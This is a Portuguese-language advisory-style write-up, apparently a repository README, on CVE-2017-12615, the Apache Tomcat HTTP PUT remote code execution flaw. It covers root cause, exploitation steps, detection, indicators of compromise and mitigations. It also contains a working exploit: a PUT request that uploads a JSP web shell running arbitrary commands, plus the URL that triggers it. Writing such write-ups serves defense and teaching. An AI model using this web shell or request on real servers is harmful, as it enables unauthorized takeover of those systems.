CVE-2017-12615 - Execução Remota de Código (RCE) no Apache Tomcat

CVE-2017-12615 é uma vulnerabilidade de Execução Remota de Código (RCE) que afeta Apache Tomcat 7.0.0 até 7.0.79 executado em Microsoft Windows quando requisições HTTP PUT estão habilitadas.

A vulnerabilidade existe porque o Tomcat lida incorretamente com arquivos JSP enviados quando o DefaultServlet está configurado com o parâmetro readonly definido como false. Nessas condições, um atacante não autenticado pode enviar um arquivo JSP malicioso diretamente para o servidor web e executar código Java arbitrário simplesmente ao solicitar o arquivo enviado.

Essa vulnerabilidade se tornou um dos problemas de RCE mais conhecidos do Tomcat devido à facilidade de ser explorada contra servidores mal configurados.

Versões Afetadas

• Apache Tomcat 7.0.0 - 7.0.79
• Instalações Microsoft Windows
• Método HTTP PUT habilitado
• readonly="false" configurado no DefaultServlet

Gravidade

Causa Raiz

Normalmente, o Apache Tomcat impede que usuários enviem arquivos JSP executáveis.

Porém, quando:

• Requisições HTTP PUT estão habilitadas
• O DefaultServlet é gravável (readonly=false)
• O Tomcat está executando no Windows

um atacante pode enviar um arquivo JSP diretamente para a raiz web.

Uma vez enviado, solicitar esse JSP faz com que o Tomcat o compile e execute, permitindo a execução de código Java arbitrário com os privilégios do serviço Tomcat.

Fluxo de Ataque

Attacker
    │
    │ HTTP PUT
    ▼
Uploads malicious JSP shell
    │
    ▼
Tomcat stores file
    │
    │ HTTP GET
    ▼
Requests uploaded JSP
    │
    ▼
Tomcat compiles JSP
    │
    ▼
Java code executes
    │
    ▼
Remote Code Execution

Processo de Exploração

Um ataque típico segue estas etapas:

1. Identifique uma instância vulnerável do Tomcat.
2. Verifique se requisições HTTP PUT são permitidas.
3. Envie um web shell .jsp malicioso.
4. Solicite o JSP enviado.
5. Execute comandos arbitrários do sistema.
6. Estabeleça um reverse shell ou implante cargas úteis adicionais.

Nenhuma autenticação é necessária se o servidor estiver vulnerável.

Exemplo de Requisição

Exemplo de requisição HTTP PUT:

PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>

Se bem-sucedido, o servidor responde com:

HTTP/1.1 201 Created

A carga útil pode então ser executada ao visitar:

http://victim.com/shell.jsp?cmd=whoami

Exemplo de Detecção

Uma maneira simples de identificar sistemas vulneráveis é tentar enviar um JSP de teste inofensivo:

PUT /test.jsp

As respostas possíveis incluem:

201 Created

ou

204 No Content

Se o arquivo enviado puder posteriormente ser recuperado via HTTP, o servidor provavelmente está vulnerável.

Impacto

A exploração bem-sucedida permite que um atacante:

• Execute comandos arbitrários do sistema operacional
• Envie web shells persistentes
• Obtenha reverse shells
• Implante malware ou ransomware
• Roube informações confidenciais
• Pivotar mais profundamente em redes internas
• Comprometa totalmente o servidor Tomcat afetado

Indicadores de Comprometimento

As equipes de segurança devem investigar:

• Requisições HTTP PUT inesperadas
• Arquivos .jsp recém-criados
• Web shells desconhecidos
• Processos filhos suspeitos gerados pelo Tomcat
• Conexões de rede de reverse shell
• Atividade incomum dentro da raiz web do Tomcat

Mitigação

As mitigações recomendadas incluem:

• Atualize o Apache Tomcat para uma versão corrigida.
• Desabilite HTTP PUT a menos que seja absolutamente necessário.
• Garanta que o DefaultServlet use readonly="true".
• Restrinja as permissões de upload.
• Monitore a criação inesperada de arquivos JSP.
• Implante um Web Application Firewall (WAF).
• Revise regularmente os logs de acesso do Tomcat em busca de requisições PUT suspeitas.

Sumário Técnico

Referências

• Banco de Dados Nacional de Vulnerabilidades do NIST (NVD)
• Avisos de Segurança do Apache Tomcat
• Registro CVE: CVE-2017-12615

Aviso Legal

Este repositório destina-se exclusivamente a fins educacionais, pesquisa de segurança defensiva e testes de penetração autorizados. Não use estas informações contra sistemas sem permissão explícita.